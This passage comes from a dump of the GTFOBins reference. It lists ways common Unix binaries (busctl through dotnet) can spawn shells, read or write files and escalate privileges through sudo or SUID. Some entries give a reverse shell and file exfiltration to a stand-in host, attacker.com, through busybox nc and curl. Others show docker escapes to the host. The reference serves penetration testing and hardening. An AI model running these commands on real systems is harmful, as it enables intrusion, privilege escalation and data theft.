    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      busctl --show-machine\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: less\n  shell:\n  - code: |-\n      busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'\n        shell: false\n      unprivileged:\n  - code: |-\n      busctl --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          busctl --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/busybox",
    "content": "---\ncomment: |-\n  BusyBox may contain many utilities, run `busybox --list-full` to check what other binaries are supported.\nfunctions:\n  inherit:\n  - code: |-\n      busybox ash\n    contexts:\n      sudo:\n      unprivileged:\n    from: ash\n  - code: |-\n      busybox cat\n    contexts:\n      sudo:\n      unprivileged:\n    from: cat\n  reverse-shell:\n  - code: |-\n      busybox nc -e /bin/sh attacker.com 12345\n    contexts:\n      sudo:\n      unprivileged:\n    listener: tcp-server\n  upload:\n  - code: |-\n      busybox httpd -f -p 12345 -h .\n    comment: |-\n      This serves files in the local folder via an HTTP server.\n    contexts:\n      sudo:\n      unprivileged:\n    receiver: http-client\n...\n"
  },
  {
    "path": "_gtfobins/byebug",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      byebug --no-stop /path/to/script.rb\n    contexts:\n      sudo:\n      unprivileged:\n    from: ruby\n...\n"
  },
  {
    "path": "_gtfobins/bzip2",
    "content": "---\ncomment: |-\n  There are also a number of other utilities that rely on `bzip2` under the hood, e.g., `bzless`, `bzcat`, `bunzip2`, etc. Besides having similar features, they also allow privileged reads if `bzip2` itself is SUID.\nfunctions:\n  file-read:\n  - code: |-\n      bzip2 -c /path/to/input-file | bzip2 -d\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/c89",
    "content": "---\nalias: gcc\n...\n"
  },
  {
    "path": "_gtfobins/c99",
    "content": "---\nalias: gcc\n...\n"
  },
  {
    "path": "_gtfobins/cabal",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      cabal exec --project-file=/dev/null -- /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          cabal exec --project-file=/dev/null -- /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/cancel",
    "content": "---\nfunctions:\n  upload:\n  - binary: false\n    code: |-\n      cancel -h attacker.com:12345 -u DATA\n    comment: |-\n      Data is sent as a POST request along with other content.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/capsh",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      capsh --\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          capsh --gid=0 --uid=0 --\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/cargo",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      cargo help doc\n    contexts:\n      sudo:\n      unprivileged:\n    from: less\n...\n"
  },
  {
    "path": "_gtfobins/cat",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      cat /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/cc",
    "content": "---\nalias: gcc\n...\n"
  },
  {
    "path": "_gtfobins/cdist",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      cdist shell -s /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/certbot",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir . --work-dir . --config-dir . --pre-hook '/bin/sh 1>&0 2>&0'\n    comment: |-\n      This needs a writable directory, replace `.` if needed.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/chattr",
    "content": "---\nfunctions:\n  privilege-escalation:\n  - code: |-\n      chattr +i /path/to/input-file\n    comment: |-\n      Make the target file immutable.\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/check_by_ssh",
    "content": "---\ncomment: |-\n  This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.\nfunctions:\n  shell:\n  - code: |-\n      check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C x\n    comment: |-\n      The shell will only last 10 seconds.\n    contexts:\n      sudo:\n      unprivileged:\n    version: |-\n      When `check_by_ssh` version `2.4.5` (2023-05-31) or later from the Nagios Plugins project in it's default configuration is used, it does not work anymore.\n\n      It does still work on previous versions from the Nagios Plugins project or all versions from the Monitoring Project (e.g. used by Ubuntu/Debian).\n...\n"
  },
  {
    "path": "_gtfobins/check_cups",
    "content": "---\ncomment: |-\n  This is the `check_cups` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      check_cups --extra-opts=@/path/to/input-file\n    comment: |-\n      The read file content is limited to the first line.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/check_log",
    "content": "---\ncomment: |-\n  This is the `check_log` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.\nfunctions:\n  file-read:\n  - code: |-\n      check_log -F /path/to/input-file -O /dev/stdout\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - code: |-\n      check_log -F /path/to/input-file -O /path/to/output-file\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/check_memory",
    "content": "---\ncomment: |-\n  This is the `check_memory` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.\nfunctions:\n  file-read:\n  - code: |-\n      check_memory --extra-opts=@/path/to/input-file\n    comment: |-\n      The read file content is limited to the first line.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/check_raid",
    "content": "---\ncomment: |-\n  This is the `check_raid` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.\nfunctions:\n  file-read:\n  - code: |-\n      check_raid --extra-opts=@/path/to/input-file\n    comment: |-\n      The read file content is limited to the first line.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/check_ssl_cert",
    "content": "---\ncomment: |-\n  This is the `check_ssl_cert` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.\nfunctions:\n  shell:\n  - code: |-\n      echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file\n      chmod +x /path/to/temp-file\n      check_ssl_cert --grep-bin /path/to/temp-file -H x\n    comment: |-\n      The shell will be invoked multiple times.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/check_statusfile",
    "content": "---\ncomment: |-\n  This is the `check_statusfile` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.\nfunctions:\n  file-read:\n  - code: |-\n      check_statusfile /path/to/input-file\n    comment: |-\n      The read file content is limited to the first line.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/chmod",
    "content": "---\nfunctions:\n  privilege-escalation:\n  - code: |-\n      chmod 6777 /path/to/input-file\n    comment: |-\n      This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a file.\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/choom",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      choom -n 0 /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          choom -n 0 -- /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/chown",
    "content": "---\nfunctions:\n  privilege-escalation:\n  - code: |-\n      chown $(id -un):$(id -gn) /path/to/input-file\n    comment: |-\n      This can be run with elevated privileges to change ownership and then read, write, or execute a file.\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/chroot",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      chroot /\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          chroot / /bin/sh -p\n        shell: false\n...\n"
  },
  {
    "path": "_gtfobins/chrt",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      chrt 1 /bin/sh\n    comment: |-\n      Any number between 1 and 99 will do.\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          chrt 1 /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/clamscan",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      touch x.yara\n      clamscan --no-summary -d x.yara -f /path/to/input-file 2>&1 | sed -nE 's/^(.*): No such file or directory$/\\1/p'\n    comment: |-\n      Each line of the file is interpreted as a path and the content is leaked via error messages. The output can optionally be cleaned using `sed`.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/clisp",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      clisp -x '(ext:run-shell-command \"/bin/sh\")(ext:exit)'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/cmake",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      cmake -E cat /path/to/input-file\n    contexts:\n      sudo:\n      unprivileged:\n  shell:\n  - code: |-\n      echo 'execute_process(COMMAND /bin/sh)' >/path/to/CMakeLists.txt\n      cmake /path/to/\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/cmp",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      cmp /path/to/input-file /dev/zero -b -l\n    comment: |-\n      Dump the bytes of the input file that are different from the NUL byte in a tabular format.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/cobc",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      echo 'CALL \"SYSTEM\" USING \"/bin/sh\".' >/path/to/temp-file\n      cobc -xFj --frelax-syntax-checks /path/to/temp-file\n    comment: |-\n      The `/path/to/temp-file` sill be overwritten after the execution.\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/code",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      code tunnel --name xxxxxx\n    comment: |-\n      This requires a valid GitHub account.\n\n      Run the command locally, then on the attacker box navigate to <https://github.com/login/device>, using the provided code to authorize the tunnel.\n    contexts:\n      sudo:\n      unprivileged:\n    sender:\n      comment: |-\n        Navigate to <https://vscode.dev/tunnel/xxxxxx> where a remote VS Code instance can be used to upload files to the victim box.\n\n        From the menu, select \"File\" -> \"Open Folder...\", right-click on the explorer pane, then select \"Upload...\" to pick a file to send.\n\n        Alternatively it's possible to just create and edit files.\n  reverse-shell:\n  - code: |-\n      code tunnel --name xxxxxx\n    comment: |-\n      This requires a valid GitHub account.\n\n      Run the command locally, then on the attacker box navigate to <https://github.com/login/device>, using the provided code to authorize the tunnel.\n    contexts:\n      sudo:\n      unprivileged:\n    listener:\n      comment: |-\n        Navigate to <https://vscode.dev/tunnel/xxxxxx> where a remote VS Code instance can be used to spawn a system shell on the victim box.\n\n        From the menu, select \"View\" -> \"Terminal\".\n    tty: true\n  upload:\n  - code: |-\n      code tunnel --name xxxxxx\n    comment: |-\n      This requires a valid GitHub account.\n\n      Run the command locally, then on the attacker box navigate to <https://github.com/login/device>, using the provided code to authorize the tunnel.\n    contexts:\n      sudo:\n      unprivileged:\n    receiver:\n      comment: |-\n        Navigate to <https://vscode.dev/tunnel/xxxxxx> where a remote VS Code instance can be used to download files from the victim box.\n\n        From the menu, select \"File\" -> \"Open Folder...\", right-click on the explorer pane, then select Download...\" to download a file.\n\n        Alternatively it's possible to just display files.\n...\n"
  },
  {
    "path": "_gtfobins/codex",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      codex sandbox linux /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/column",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      column /path/to/input-file\n    comment: |-\n      This program expects textual data.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/comm",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      comm /path/to/input-file /dev/null\n    comment: |-\n      A newline is appended to the file.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/composer",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      echo '{\"scripts\":{\"x\":\"/bin/sh\"}}' >composer.json\n      composer run-script x\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/cowsay",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      cowsay -f /path/to/script.pl x\n    contexts:\n      sudo:\n      unprivileged:\n    from: perl\n...\n"
  },
  {
    "path": "_gtfobins/cowthink",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      cowthink -f /path/to/script.pl x\n    contexts:\n      sudo:\n      unprivileged:\n    from: perl\n...\n"
  },
  {
    "path": "_gtfobins/cp",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      cp /path/to/input-file /dev/stdout\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      echo DATA | cp /dev/stdin /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  privilege-escalation:\n  - code: |-\n      cp /path/to/input-file /path/to/output-file\n    comment: |-\n      This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.)\n    contexts:\n      sudo:\n      suid:\n  - code: |-\n      cp --attributes-only --preserve=all /path/to/input-file /path/to/output-file\n    comment: |-\n      This can copy SUID permissions from any SUID binary (e.g., `/path/to/input-file`) to another.\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/cpan",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      cpan\n      ! ...\n    comment: |-\n      Perl code can be executed with the `!` command.\n    contexts:\n      sudo:\n      unprivileged:\n    from: perl\n...\n"
  },
  {
    "path": "_gtfobins/cpio",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      echo /path/to/input-file | cpio -o\n    comment: |-\n      The content of the file is printed to standard output, between the `cpio` archive format header and footer.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  - code: |-\n      echo /path/to/input-file | cpio -dp .\n      cat path/to/input-file\n    comment: |-\n      The whole directory structure is copied to `.`, hence this is also a file write.\n    contexts:\n      sudo:\n        code: |-\n          echo /path/to/input-file | cpio -R $UID -dp .\n          cat path/to/input-file\n      suid:\n        code: |-\n          echo /path/to/input-file | cpio -R $UID -dp .\n          cat path/to/input-file\n      unprivileged:\n  file-write:\n  - code: |-\n      echo DATA >/path/to/temp-file\n      echo /path/to/temp-file | cpio -udp .\n    comment: |-\n      The whole directory structure is copied to `.`, with the data written to `./path/to/temp-file`.\n    contexts:\n      sudo:\n        code: |-\n          echo DATA >/path/to/temp-file\n          echo /path/to/temp-file | cpio -R 0:0 -udp .\n      suid:\n        code: |-\n          echo DATA >/path/to/temp-file\n          echo /path/to/temp-file | cpio -R 0:0 -udp .\n      unprivileged:\n  shell:\n  - code: |-\n      echo '/bin/sh </dev/tty >/dev/tty' >localhost\n      cpio -o --rsh-command /bin/sh -F localhost:\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/cpulimit",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      cpulimit -l 100 -f /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          cpulimit -l 100 -f /bin/sh -p\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/crash",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      CRASHPAGER=/path/to/command crash -h\n    contexts:\n      sudo:\n      unprivileged:\n  inherit:\n  - code: |-\n      crash -h\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: less\n...\n"
  },
  {
    "path": "_gtfobins/crontab",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      crontab -e\n    comment: |-\n      This spaws the default editor to edit the crontab file, commands can be scheduled to run using the [cron syntax](https://en.wikipedia.org/wiki/Cron).\n    contexts:\n      sudo:\n      unprivileged:\n  inherit:\n  - code: |-\n      crontab -e\n    contexts:\n      sudo:\n      unprivileged:\n    from: vi\n...\n"
  },
  {
    "path": "_gtfobins/csh",
    "content": "---\nfunctions:\n  file-write:\n  - code: |-\n      csh -c 'echo DATA >/path/to/output-file'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          csh -c 'echo DATA >/path/to/output-file' -b\n      unprivileged:\n  shell:\n  - code: |-\n      csh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          csh -b\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/csplit",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      csplit /path/to/input-file 1\n      cat xx01\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      echo DATA >/path/to/temp-file\n      csplit -z -b '%doutput-file' /path/to/temp-file 1\n    comment: |-\n      Writes the data to `xx0output-file` in the current working directory. If needed, a different prefix can be specified with `-f` (instead of `xx`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/csvtool",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      csvtool trim t /path/to/input-file\n    comment: |-\n      The file is actually parsed and manipulated as CSV.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - binary: false\n    code: |-\n      echo DATA >/path/to/temp-file\n      csvtool trim t /path/to/temp-file -o /path/to/output-file\n    comment: |-\n      The file is actually parsed and manipulated as CSV.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      csvtool call '/bin/sh;false' /etc/hosts\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ctr",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      ctr run --rm --mount type=bind,src=/,dst=/,options=rbind -t docker.io/library/alpine:latest x\n    comment: |-\n      An image must be already present, for example:\n\n      ```\n      ctr images pull docker.io/library/alpine:latest\n      ```\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/cupsfilter",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      cupsfilter -i application/octet-stream -m application/octet-stream /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/curl",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      curl http://attacker.com/path/to/input-file -o /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: http-server\n  file-read:\n  - code: |-\n      curl file:///path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      echo DATA >/path/to/temp-file\n      curl file:///path/to/temp-file -o /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  library-load:\n  - code: |-\n      curl --engine /path/to/lib.so x\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  upload:\n  - code: |-\n      curl -X POST --data-binary @/path/to/input-file http://attacker.com\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: http-server\n  - code: |-\n      curl -X POST --data-binary DATA http://attacker.com\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: http-server\n  - code: |-\n      curl gopher://attacker.com:12345/_DATA\n    comment: |-\n      Data will be `\\r\\n` terminated.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: tcp-server\n...\n"
  },
  {
    "path": "_gtfobins/cut",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      cut -d '' -f1 /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/dash",
    "content": "---\nfunctions:\n  file-write:\n  - code: |-\n      dash -c 'echo DATA >/path/to/output-file'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      dash\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/date",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      date -f /path/to/input-file\n    comment: |-\n      Each line is corrupted by a prefix string and wrapped inside quotes.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    version: |-\n      GNU\n...\n"
  },
  {
    "path": "_gtfobins/dc",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      dc -e '!/bin/sh'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/dd",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      dd if=/path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      echo DATA | dd of=/path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/debugfs",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      debugfs\n      !/bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/dhclient",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      dhclient -sf /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/dialog",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      dialog --textbox /path/to/input-file 0 0\n    comment: |-\n      The file is shown in an interactive TUI dialog.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/diff",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      diff --line-format=%L /dev/null /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  - code: |-\n      diff --recursive /path/to/empty-dir /path/to/input-dir/\n    comment: |-\n      This lists the content of a directory. `/path/to/empty-dir` can be any directory, but for convenience it is better to use an empty directory to avoid noise output.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/dig",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      dig -f /path/to/input-file\n    comment: |-\n      Each input line is treated as a lookup query for the `dig` command and the output is corrupted with the result or errors of the operation.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/distcc",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      distcc /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          distcc /bin/sh -p\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/dmesg",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      dmesg -rF /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  inherit:\n  - code: |-\n      dmesg -H\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: less\n...\n"
  },
  {
    "path": "_gtfobins/dmidecode",
    "content": "---\nfunctions:\n  file-write:\n  - binary: false\n    code: |-\n      dmidecode --no-sysfs -d x.dmi --dump-bin /path/to/output-file\n    comment: |-\n      It can be used to write files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode.\n      Generate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target.\n\n      - `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes.\n\n      - `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option.\n\n      ```\n      make dmiwrite\n      echo DATA >/path/to/temp-file\n      ./dmiwrite /path/to/temp-file x.dmi\n      ```\n    contexts:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/dmsetup",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      dmsetup create base <<EOF\n      0 3534848 linear /dev/loop0 94208\n      EOF\n      dmsetup ls --exec '/bin/sh -s'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          dmsetup create base <<EOF\n          0 3534848 linear /dev/loop0 94208\n          EOF\n          dmsetup ls --exec '/bin/sh -p -s'\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/dnf",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      dnf install -y x-1.0-1.noarch.rpm --disablerepo=*\n    comment: |-\n      Generate the RPM package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n\n      ```\n      echo /path/to/command >x.sh\n      fpm -n x -s dir -t rpm -a all --before-install x.sh .\n      ```\n\n      The `--disablerepo=*` option is used for targets without Internet connectivity, can be omitted otherwise.\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/dnsmasq",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      dnsmasq --conf-script='/path/to/command 1>&2'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/doas",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      doas -u root /bin/sh\n    comment: |-\n      The user must be allowed to use `doas`.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/docker",
    "content": "---\ncomment: |-\n  This requires the user to be privileged enough to run `docker`, e.g., being in the `docker` group or being `root`.\nfunctions:\n  file-read:\n  - code: |-\n      docker cp /path/to/input-file $CONTAINER_ID:input-file\n      docker cp $CONTAINER_ID:input-file /path/to/temp-file\n      cat /path/to/temp-file\n    comment: |-\n      Read a file by copying it to a temporary container (`$CONTAINER_ID`) and back to a new location on the host.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      echo DATA >/path/to/temp-file\n      docker cp /path/to/temp-file $CONTAINER_ID:temp-file\n      docker cp $CONTAINER_ID /path/to/output-file\n    comment: |-\n      Write a file by copying it to a temporary container (`$CONTAINER_ID`) and back to the target destination on the host.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  - code: |-\n      docker run --rm -it --privileged -u root alpine\n      mount /dev/sda1 /mnt/\n      ls -la /mnt/\n      chroot /mnt /bin/bash\n    comment: |-\n      This exploits the fact that is run with the `--privileged` option to directly mount a host's disk, e.g., `/dev/sda1`.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/dos2unix",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      dos2unix -f -O /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      dos2unix -f -n /path/to/input-file /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/dosbox",
    "content": "---\ncomment: |-\n  Basically `dosbox` allows to mount the local file system, so that it can be altered using DOS commands. Note that the DOS filename convention ([8.3](https://en.wikipedia.org/wiki/8.3_filename)) is used.\nfunctions:\n  file-read:\n  - code: |-\n      dosbox -c 'mount c /' -c 'type c:\\path\\to\\input'\n    comment: |-\n      The file content will be displayed in the DOSBox graphical window.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  - code: |-\n      dosbox -c 'mount c /' -c 'copy c:\\path\\to\\input c:\\path\\to\\output' -c exit\n      cat /path/to/OUTPUT\n    comment: |-\n      The file is copied to a readable location.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      dosbox -c 'mount c /' -c \"echo DATA >c:\\path\\to\\output\" -c exit\n    comment: |-\n      Note that `echo` terminates the string with a DOS-style line terminator (`\\r\\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/dotnet",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      dotnet fsi\n      System.IO.File.ReadAllText(\"/path/to/input-file\");;\n    contexts:\n      sudo:\n      unprivileged:\n  shell:\n  - code: |-\n      dotnet fsi\n      System.Diagnostics.Process.Start(\"/bin/sh\").WaitForExit();;\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/dpkg",
